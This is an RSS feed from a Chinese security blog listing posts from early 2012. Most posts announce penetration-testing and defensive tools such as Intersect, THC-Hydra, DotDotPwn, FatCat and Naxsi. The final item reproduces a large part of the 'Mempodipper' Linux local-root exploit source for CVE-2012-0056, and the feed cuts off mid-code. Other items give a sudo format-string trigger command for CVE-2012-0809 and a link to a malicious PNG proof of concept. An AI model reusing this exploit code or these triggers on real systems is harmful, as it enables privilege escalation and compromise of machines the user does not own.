<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BugZone</title><link>http://www.pulog.org/</link><description></description><generator>RainbowSoft Studio Z-Blog 1.8 Walle Build 91204</generator><language>zh-CN</language><copyright>Copyright 2007-2010 wpulog. Some Rights Reserved.京ICP备10028853号</copyright><pubDate>Wed, 22 Feb 2012 06:51:48 +0800</pubDate><item><title>linux自动化post-exploitation工具 - Intersect</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2405/Intersect/</link><pubDate>Wed, 22 Feb 2012 06:32:28 +0800</pubDate><guid>http://www.pulog.org/tools/2405/Intersect/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Intersect 2.0是一个用于Post-Exploitation过程中自动收集和报告相关信息的python脚本。当你获取一个目标的权限以后，Intersect可以自动完成多种任务，包括收集密码文件，拷贝SSH key，列举进程，安装的软件信息，网络相关信息，网络映射（用于内网渗透），定位和识别通用的反病毒和防火墙程序等等，省去了很多手工操作。Intersect的主要特点：<br />&nbsp;&nbsp;&nbsp; Run application as background process<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2405/Intersect/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2405</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2405&amp;key=81d4709c</trackback:ping></item><item><title>cve-2011-3026</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2404/cve-2011-3026/</link><pubDate>Tue, 21 Feb 2012 07:33:32 +0800</pubDate><guid>http://www.pulog.org/poc/2404/cve-2011-3026/</guid><description><![CDATA[<p><code>&nbsp;&nbsp; libpng</code>图形库存在整数溢出漏洞，可能导致使用该库解码png的应用软件崩溃或执行任意代码。受影响的软件包括firefox、Thunderbird、google chome等。<br /><br />poc：http://qoop.org/security/poc/cve-2011-3026.png</p>]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2404/cve-2011-3026/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2404</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2404&amp;key=6ee67002</trackback:ping></item><item><title>HiJackThis 开源</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2403/HiJackThis/</link><pubDate>Mon, 20 Feb 2012 06:50:28 +0800</pubDate><guid>http://www.pulog.org/tools/2403/HiJackThis/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; HijackThis，是一款英文免费软件，由荷兰的一名学生merijn开发。其个人主页上有merijn自己的简介并提供其利用业余时间开发的软件供 大家下载。2007年被趋势科技TrendSecure收购。HijackThis能够扫描注册表和硬盘上的特定文件，找到一些恶意程序&ldquo;劫持&rdquo;浏览器的 入口。HijackThis扫描的内容十分详尽，并且可以修复大部分被恶意修改的内容。尤其值得一提的是它的日志，HijackThis可以把扫描的内容 保存为日志文件，并直接用记事本（notepad）打开。使用者可以把它的日志直接发在帖子里，以方便热心人帮助解决问题。目前HijackThis开放了源代码，有兴趣的 同学可以去下载。<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2403/HiJackThis/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2403</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2403&amp;key=7d21111e</trackback:ping></item><item><title>更新：SAMHAIN 3.0.2</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2402/SAMHAIN-3.0.2/</link><pubDate>Sat, 18 Feb 2012 21:07:56 +0800</pubDate><guid>http://www.pulog.org/tools/2402/SAMHAIN-3.0.2/</guid><description><![CDATA[<p>&nbsp; SAMHAIN是一个开放源代码的基于主机的入侵检测系统,它提供文件完整性检查,日志监视和分析功能,以及ROOTKIT检测,端口监视,检测可执行程序的SUID和隐藏进程等。目前，SAMHAIN更新至3.0.2版,新版主要改变:<br />&nbsp;&nbsp;&nbsp; Fixed a bug that could cause a segfault (NULL pointer dereference) at startup on systems without inotify.<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2402/SAMHAIN-3.0.2/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2402</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2402&amp;key=c407eedb</trackback:ping></item><item><title>安全测试框架 - HconSTF</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2401/HconSTF/</link><pubDate>Wed, 15 Feb 2012 20:26:47 +0800</pubDate><guid>http://www.pulog.org/tools/2401/HconSTF/</guid><description><![CDATA[<p>HconSTF 是一款半自动化的安全测试平台,它可以用于安全测试工程中的各个阶段,HconSTF目前包含的工具类型如下:<br />&nbsp;&nbsp;&nbsp; 1.Information gathering<br />&nbsp;&nbsp;&nbsp; 2.Enumeration &amp; Reconnaissance<br />&nbsp;&nbsp;&nbsp; 3.Vulnerability assessment<br />&nbsp;&nbsp;&nbsp; 4.Exploitation<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2401/HconSTF/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2401</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2401&amp;key=9c7de00b</trackback:ping></item><item><title>浏览器取证分析工具 - BFT</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2400/BFT/</link><pubDate>Tue, 14 Feb 2012 17:31:29 +0800</pubDate><guid>http://www.pulog.org/tools/2400/BFT/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; BFT- Browser forensic tool 可以在很短的时间内搜索出多种类型浏览器的历史纪录。它还能够根据指定的关键字搜索出所有匹配的URL和标题。这款工具来自于DarkComet RAT...,BFT支持的浏览器：</p><ol>    <li>chrome</li>    <li>firefox</li>    <li>opera</li>    <li>IE</li></ol><p>工具下载：http://unremote.org/downloads/BrowserForensicTool.zip</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2400/BFT/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2400</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2400&amp;key=d3b852fa</trackback:ping></item><item><title>更新:THC-HYDRA 7.2</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2399/THC-HYDRA-7.2/</link><pubDate>Mon, 13 Feb 2012 07:33:00 +0800</pubDate><guid>http://www.pulog.org/tools/2399/THC-HYDRA-7.2/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; THC-HYDRA是一个支持多种网络服务的非常快速的网络登陆破解工具。这个工具是一个验证性质的工具，它被设计的主要目的是为研究人员和安全从业人员展示远程获取一个系统的认证权限是比较容易的。THC-HYDRA支持 Linux, Windows/Cygwin, Solaris, FreeBSD和OSX。目前THC-HYDRA更新至7.2版,新版主要改变：</p><ul>    <li>Speed-up http modules auth mechanism detection</li>...</ul>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2399/THC-HYDRA-7.2/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2399</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2399&amp;key=214a17c7</trackback:ping></item><item><title>更新: Naxsi 0.43</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2398/Naxsi-0.43/</link><pubDate>Mon, 13 Feb 2012 07:27:06 +0800</pubDate><guid>http://www.pulog.org/tools/2398/Naxsi-0.43/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Naxsi是一个开放源代码、高效、低维护规则的Nginx web应用防火墙(waf)模块。Naxsi的主要目标是帮助人们加固他们的web应用程序，以抵御SQL注入、跨站脚本、跨域伪造请求、本地和远程文件包含漏洞。Naxsi有别于其他waf的地方在于,它不依赖于签名来检测和阻止攻击，它使用了一个简单的模块检测HTTP请求/参数中的特殊字符，而不是试图匹配已知的攻击。Naxsi采用为请求中不常见的字符打分的方式检测攻击，一旦请求的恶意积分达到一定的阈值则阻断请求。目前Naxsi更新至0.43版,新版主要改变如下:</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2398/Naxsi-0.43/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2398</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2398&amp;key=b2d1237a</trackback:ping></item><item><title>更新: NIELD 0.22</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2397/NIELD-0.22/</link><pubDate>Mon, 13 Feb 2012 07:20:28 +0800</pubDate><guid>http://www.pulog.org/tools/2397/NIELD-0.22/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; NIELD是一个网络接口事件记录守护程序,它可以通过rtnetlink&nbsp; scoket从内核中接收通知。NIELD可以记录连接状态、neighbour缓存、IP地址、路由、fib规则。NIELD还可以使用命令行选项进行配置。目前NIELD发布了0.22版，新版本主要改变：<br />&nbsp;&nbsp;&nbsp; It changed use variable &ldquo;extra_commands&rdquo; instead of &ldquo;OPTIONS&rdquo; in &ldquo;contrib/gentoo/nield&ldquo;.<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2397/NIELD-0.22/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2397</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2397&amp;key=49382190</trackback:ping></item><item><title>目录遍历fuzz工具 - DotDotPwn</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2396/DotDotPwn_9879/</link><pubDate>Fri, 10 Feb 2012 18:55:20 +0800</pubDate><guid>http://www.pulog.org/tools/2396/DotDotPwn_9879/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; DotDotPwn是一款非常灵活智能的fuzz工具,主要用于挖掘Web（web平台软件如CMS、ERP、博客等）/FTP/TFTP服务器软件中的目录遍历漏洞。DotDotPwn使用perl编写，可工作在*NIX和windows平台。DotDotPwn 3.0主要特点：<br />&nbsp;&nbsp;&nbsp; -X switch that implements the Bisection Algorithm in order to detect the exact deepness once a directory traversal vulnerability has been found. &ndash; http://en.wikipedia.org/wiki/Bisection_method<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2396/DotDotPwn_9879/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2396</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2396&amp;key=078cab8c</trackback:ping></item><item><title>Joomscan </title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2395/Joomscan-2012-2/</link><pubDate>Wed, 08 Feb 2012 06:42:24 +0800</pubDate><guid>http://www.pulog.org/tools/2395/Joomscan-2012-2/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; joomScan是一个使用python脚本编写的joomla漏洞扫描工具。它使用了已知joomla系统及插件漏洞对目标网站进行探测扫描，如果目标网站返回一定的特征，则认为漏洞存在。目前joomScan的漏洞数量已经有550个,包含系统及其插件的漏洞。<br />工具下载：http://web-center.si/joomscan/joomscan.rar<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://web-center.si/joomscan/joomscan.tar.gz">http://web-center.si/joomscan/joomscan.tar.gz</a></p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2395/Joomscan-2012-2/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2395</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2395&amp;key=31066bd2</trackback:ping></item><item><title>Netsparker 2.1</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2394/Netsparker-2.1/</link><pubDate>Mon, 06 Feb 2012 20:48:31 +0800</pubDate><guid>http://www.pulog.org/tools/2394/Netsparker-2.1/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Netsparker是一款综合型的web应用安全漏洞扫描工具，它分为专业版和免费版，免费版的功能也比较强大。Netsparker与其他综合性的web应用安全扫描工具相比的一个特点是它能够更好的检测SQL Injection和 Cross-site Scripting类型的安全漏洞。Netsparker&reg; Community Edition已经更新至2.1版,新版主要改变如下:<br />&nbsp;</p><ul>    <li>All-new Authentication System</li>...</ul>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2394/Netsparker-2.1/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2394</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2394&amp;key=1e6b1348</trackback:ping></item><item><title>SQLol 0.3.1</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2393/SQLol-0.3.1/</link><pubDate>Sun, 05 Feb 2012 07:18:03 +0800</pubDate><guid>http://www.pulog.org/tools/2393/SQLol-0.3.1/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; SQLol是一个可配置得SQL注入测试平台，它包含了一系列的挑战任务，让你在挑战中测试和学习SQL注入语句。SQLol更新至0.3.1,这个版本的主要改变：</p><ul>    <li>Removed the functionality for submitting values via GET/POST/cookie, it was buggy</li>    <li>Stopped doing stupid sqlol_vars stuff and just use $_REQUEST now</li>...</ul>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2393/SQLol-0.3.1/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2393</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2393&amp;key=510a1701</trackback:ping></item><item><title>Dradis 2.9</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2392/Dradis-2.9/</link><pubDate>Sun, 05 Feb 2012 07:07:46 +0800</pubDate><guid>http://www.pulog.org/tools/2392/Dradis-2.9/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Dradis是一个开放源代码的框架，用于在安全评估过程中实时共享信息。dradis自身包含了一个web应用程序，<span id="result_box" lang="zh-CN"><span title="">它提供了一个集中的资料库来记录迄今已完成的工作和仍然需要做的工作。它的特点包括：<br /><span id="result_box" lang="zh-CN"><span title="">&nbsp;&nbsp;&nbsp; *易于生成报告。<br />...</p></span></span></span></span>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2392/Dradis-2.9/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2392</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2392&amp;key=ac8d5ec5</trackback:ping></item><item><title>java 安全框架 - Apache Shiro</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2391/Apache-Shiro/</link><pubDate>Thu, 02 Feb 2012 07:05:22 +0800</pubDate><guid>http://www.pulog.org/tools/2391/Apache-Shiro/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Apache Shiro是一款强大和易于使用的java安全框架，它提供了认证、加密和会话管理功能并提供了一套易于理解的API。使用Apache Shiro可以快速容易的加固java应用程序，无论是mobie应用还是大型web和企业应用。主要特点：</p><ul>    <li>Authentication &ndash; Support logins across one or more pluggable data sources (LDAP, JDBC, ActiveDirectory, etc).</li>...</ul>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2391/Apache-Shiro/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2391</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2391&amp;key=45b87ce0</trackback:ping></item><item><title>渗透测试平台 - Mantra on Chromium</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2390/Sandcat-Browser/</link><pubDate>Thu, 02 Feb 2012 06:46:35 +0800</pubDate><guid>http://www.pulog.org/tools/2390/Sandcat-Browser/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Sandcat Browser是又一款基于google Chromium引擎的轻量级渗透测试平台。它免费、方便携带、主要用于渗透测试并且支持多标签。同样是以扩展和脚本的形式打造渗透测试工具包。Sandcat Browser与Mantra on Chromium属于同等类型的工具。Sandcat Browser的主要特点：</p><ul>    <li>Live HTTP Headers</li>    <li>Request Editor extension</li>...</ul>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2390/Sandcat-Browser/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2390</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2390&amp;key=c5fdc082</trackback:ping></item><item><title>CVE-2012-0809</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2389/CVE-2012-0809/</link><pubDate>Wed, 01 Feb 2012 06:21:26 +0800</pubDate><guid>http://www.pulog.org/poc/2389/CVE-2012-0809/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Sudo 为了支持开发和I/O日志插件，从1.8.0版开始引入了简单的调试功能。sudo_debug() 函数存在一个漏洞，当程序名称作为格式化字符串的一部分传递给fprintf()函数时会触发该漏洞。而程序名称通过symbolic link 或其他一些方式可以被调用者控制。例如:&nbsp;<br />&nbsp;&nbsp;&nbsp; $ ln -s /usr/bin/sudo ./%s<br />&nbsp;&nbsp;&nbsp; $ ./%s -D9<br />...</p>]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2389/CVE-2012-0809/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2389</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2389&amp;key=a124fadd</trackback:ping></item><item><title>自动化SQL注入工具 - FatCat</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2388/FatCat/</link><pubDate>Mon, 30 Jan 2012 19:39:10 +0800</pubDate><guid>http://www.pulog.org/tools/2388/FatCat/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; FatCat是一款基于PHP的自动化SQL注入工具，FatCat界面友好，可自动检测和利用SQL注入漏洞。FatCat的主要特点：<br />Normal SQL Injection<br />Double Query SQL Injection<br />WAF bypass<br />Cookie Header passing<br />Load File <br />Generating XSS from SQL<br />工具下载：http://code.google.com/p/fatcat-sql-injector/downloads/list</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2388/FatCat/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2388</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2388&amp;key=f4453ad6</trackback:ping></item><item><title>CVE-2012-0056</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2387/CVE-2012-0056/</link><pubDate>Sun, 29 Jan 2012 19:19:27 +0800</pubDate><guid>http://www.pulog.org/poc/2387/CVE-2012-0056/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Linux 内核2.6.39和其他一些版本中的mem_write函数,在ASLR关闭时,未能正确检查/proc/&lt;pid&gt;/mem的写入权限,导致本地用户通过修改进程内存提升权限。<br />&nbsp;</p><pre class="brush: cpp;">/*<br />&nbsp;* Mempodipper<br />&nbsp;* by zx2c4<br />&nbsp;* <br />&nbsp;* Linux Local Root Exploit<br />&nbsp;* <br />&nbsp;* Rather than put my write up here, per usual, this time I've put it<br />&nbsp;* in a rather lengthy blog post: http://blog.zx2c4.com/749<br />&nbsp;* <br />&nbsp;* Enjoy.<br />&nbsp;* <br />&nbsp;* - zx2c4<br />&nbsp;* Jan 21, 2012<br />&nbsp;* <br />&nbsp;* CVE-2012-0056<br />&nbsp;*/<br /><br />#define _LARGEFILE64_SOURCE<br />#define _GNU_SOURCE<br />#include &amp;lt;stdio.h&amp;gt;<br />#include &amp;lt;string.h&amp;gt;<br />#include &amp;lt;stdlib.h&amp;gt;<br />#include &amp;lt;sys/types.h&amp;gt;<br />#include &amp;lt;sys/stat.h&amp;gt;<br />#include &amp;lt;sys/socket.h&amp;gt;<br />#include &amp;lt;sys/un.h&amp;gt;<br />#include &amp;lt;sys/wait.h&amp;gt;<br />#include &amp;lt;sys/types.h&amp;gt;<br />#include &amp;lt;sys/user.h&amp;gt;<br />#include &amp;lt;sys/ptrace.h&amp;gt;<br />#include &amp;lt;sys/reg.h&amp;gt;<br />#include &amp;lt;fcntl.h&amp;gt;<br />#include &amp;lt;unistd.h&amp;gt;<br />#include &amp;lt;limits.h&amp;gt;<br /><br />char *prog_name;<br /><br />int send_fd(int sock, int fd)<br />{<br />&nbsp;char buf[1];<br />&nbsp;struct iovec iov;<br />&nbsp;struct msghdr msg;<br />&nbsp;struct cmsghdr *cmsg;<br />&nbsp;int n;<br />&nbsp;char cms[CMSG_SPACE(sizeof(int))];<br /><br />&nbsp;buf[0] = 0;<br />&nbsp;iov.iov_base = buf;<br />&nbsp;iov.iov_len = 1;<br /><br />&nbsp;memset(&amp;msg, 0, sizeof msg);<br />&nbsp;msg.msg_iov = &amp;iov;<br />&nbsp;msg.msg_iovlen = 1;<br />&nbsp;msg.msg_control = (caddr_t)cms;<br />&nbsp;msg.msg_controllen = CMSG_LEN(sizeof(int));<br /><br />&nbsp;cmsg = CMSG_FIRSTHDR(&amp;msg);<br />&nbsp;cmsg-&amp;gt;cmsg_len = CMSG_LEN(sizeof(int));<br />&nbsp;cmsg-&amp;gt;cmsg_level = SOL_SOCKET;<br />&nbsp;cmsg-&amp;gt;cmsg_type = SCM_RIGHTS;<br />&nbsp;memmove(CMSG_DATA(cmsg), &amp;fd, sizeof(int));<br /><br />&nbsp;if ((n = sendmsg(sock, &amp;msg, 0)) != iov.iov_len)<br />&nbsp;&nbsp;return -1;<br />&nbsp;close(sock);<br />&nbsp;return 0;<br />}<br /><br />int recv_fd(int sock)<br />{<br />&nbsp;int n;<br />&nbsp;int fd;<br />&nbsp;char buf[1];<br />&nbsp;struct iovec iov;<br />&nbsp;struct msghdr msg;<br />&nbsp;struct cmsghdr *cmsg;<br />&nbsp;char cms[CMSG_SPACE(sizeof(int))];<br />&nbsp;<br />&nbsp;iov.iov_base = buf;<br />&nbsp;iov.iov_len = 1;<br /><br />&nbsp;memset(&amp;msg, 0, sizeof msg);<br />&nbsp;msg.msg_name = 0;<br />&nbsp;msg.msg_namelen = 0;<br />&nbsp;msg.msg_iov = &amp;iov;<br />&nbsp;msg.msg_iovlen = 1;<br /><br />&nbsp;msg.msg_control = (caddr_t)cms;<br />&nbsp;msg.msg_controllen = sizeof cms;<br /><br />&nbsp;if ((n = recvmsg(sock, &amp;msg, 0)) &amp;lt; 0)<br />&nbsp;&nbsp;return -1;<br />&nbsp;if (n == 0)<br />&nbsp;&nbsp;return -1;<br />&nbsp;cmsg = CMSG_FIRSTHDR(&amp;msg);<br />&nbsp;memmove(&amp;fd, CMSG_DATA(cmsg), sizeof(int));<br />&nbsp;close(sock);<br />&nbsp;return fd;<br />}<br /><br />unsigned long ptrace_address()<br />{<br />&nbsp;int fd[2];<br />&nbsp;printf(&quot;[+] Creating ptrace pipe.\n&quot;);<br />&nbsp;pipe2(fd, O_NONBLOCK);<br />&nbsp;printf(&quot;[+] Forking ptrace child.\n&quot;);<br />&nbsp;int child = fork();<br />&nbsp;if (child) {<br />&nbsp;&nbsp;close(fd[1]);<br />&nbsp;&nbsp;char buf;<br />&nbsp;&nbsp;printf(&quot;[+] Waiting for ptraced child to give output on syscalls.\n&quot;);<br />&nbsp;&nbsp;for (;;) {<br />&nbsp;&nbsp;&nbsp;wait(NULL);<br />&nbsp;&nbsp;&nbsp;if (read(fd[0], &amp;buf, 1) &amp;gt; 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;ptrace(PTRACE_SYSCALL, child, NULL, NULL);<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;printf(&quot;[+] Error message written. Single stepping to find address.\n&quot;);<br />&nbsp;&nbsp;struct user_regs_struct regs;<br />&nbsp;&nbsp;for (;;) {<br />&nbsp;&nbsp;&nbsp;ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);<br />&nbsp;&nbsp;&nbsp;wait(NULL);<br />&nbsp;&nbsp;&nbsp;ptrace(PTRACE_GETREGS, child, NULL, &amp;regs);<br />#if defined(__i386__)<br />#define instruction_pointer regs.eip<br />#define upper_bound 0xb0000000<br />#elif defined(__x86_64__)<br />#define instruction_pointer regs.rip<br />#define upper_bound 0x700000000000<br />#else<br />#error &quot;That platform is not supported.&quot;<br />#endif<br />&nbsp;&nbsp;&nbsp;if (instruction_pointer &amp;lt; upper_bound) {<br />&nbsp;&nbsp;&nbsp;&nbsp;unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;if ((instruction &amp; 0xffff) == 0x25ff /* jmp r/m32 */)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return instruction_pointer;<br />&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;}<br />&nbsp;} else {<br />&nbsp;&nbsp;printf(&quot;[+] Ptrace_traceme'ing process.\n&quot;);<br />&nbsp;&nbsp;if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) &amp;lt; 0) {<br />&nbsp;&nbsp;&nbsp;perror(&quot;[-] ptrace&quot;);<br />&nbsp;&nbsp;&nbsp;return 0;<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;close(fd[0]);<br />&nbsp;&nbsp;dup2(fd[1], 2);<br />&nbsp;&nbsp;execl(&quot;/bin/su&quot;, &quot;su&quot;, &quot;not-a-valid-user&quot;, NULL);<br />&nbsp;}<br />&nbsp;return 0;<br />}<br /><br />unsigned long objdump_address()<br />{<br />&nbsp;FILE *command = popen(&quot;objdump -d /bin/su|grep '&amp;lt;exit@plt&amp;gt;'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'&quot;, &quot;r&quot;);<br />&nbsp;if (!command) {<br />&nbsp;&nbsp;perror(&quot;[-] popen&quot;);<br />&nbsp;&nbsp;return 0;<br />&nbsp;}<br />&nbsp;char result[32];<br />&nbsp;fgets(result, 32, command);<br />&nbsp;pclose(command);<br />&nbsp;return strtoul(result, NULL, 16);<br />}<br /><br />unsigned long find_address()<br />{<br />&nbsp;printf(&quot;[+] Ptracing su to find next instruction without reading binary.\n&quot;);<br />&nbsp;unsigned long address = ptrace_address();<br />&nbsp;if (!address) {<br />&nbsp;&nbsp;printf(&quot;[-] Ptrace failed.\n&quot;);<br />&nbsp;&nbsp;printf(&quot;[+] Reading su binary with objdump to find exit@plt.\n&quot;);<br />&nbsp;&nbsp;address = objdump_address();<br />&nbsp;&nbsp;if (address == ULONG_MAX || !address) {<br />&nbsp;&nbsp;&nbsp;printf(&quot;[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n&quot;);<br />&nbsp;&nbsp;&nbsp;printf(&quot;[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n&quot;, prog_name, prog_name);<br />&nbsp;&nbsp;&nbsp;exit(-1);<br />&nbsp;&nbsp;}<br />&nbsp;}<br />&nbsp;printf(&quot;[+] Resolved call address to 0x%lx.\n&quot;, address);<br />&nbsp;return address;<br />}<br /><br />int su_padding()<br />{<br />&nbsp;printf(&quot;[+] Calculating su padding.\n&quot;);<br />&nbsp;FILE *command = popen(&quot;/bin/su this-user-does-not-exist 2&amp;gt;&amp;1&quot;, &quot;r&quot;);<br />&nbsp;if (!command) {<br />&nbsp;&nbsp;perror(&quot;[-] popen&quot;);<br />&nbsp;&nbsp;exit(1);<br />&nbsp;}<br />&nbsp;char result[256];<br />&nbsp;fgets(result, 256, command);<br />&nbsp;pclose(command);<br />&nbsp;return strstr(result, &quot;this-user-does-not-exist&quot;) - result;<br />}<br /><br />int child(int sock)<br />{<br />&nbsp;char parent_mem[256];<br />&nbsp;sprintf(parent_mem, &quot;/proc/%d/mem&quot;, getppid());<br />&nbsp;printf(&quot;[+] Opening parent mem %s in child.\n&quot;, parent_mem);<br />&nbsp;int fd = open(parent_mem, O_RDWR);<br />&nbsp;if (fd &amp;lt; 0) {<br />&nbsp;&nbsp;perror(&quot;[-] open&quot;);<br />&nbsp;&nbsp;return 1;<br />&nbsp;}<br />&nbsp;printf(&quot;[+] Sending fd %d to parent.\n&quot;, fd);<br />&nbsp;send_fd(sock, fd);<br />&nbsp;return 0;<br />}<br /><br />int parent(unsigned long address)<br />{<br />&nbsp;int sockets[2];<br />&nbsp;printf(&quot;[+] Opening 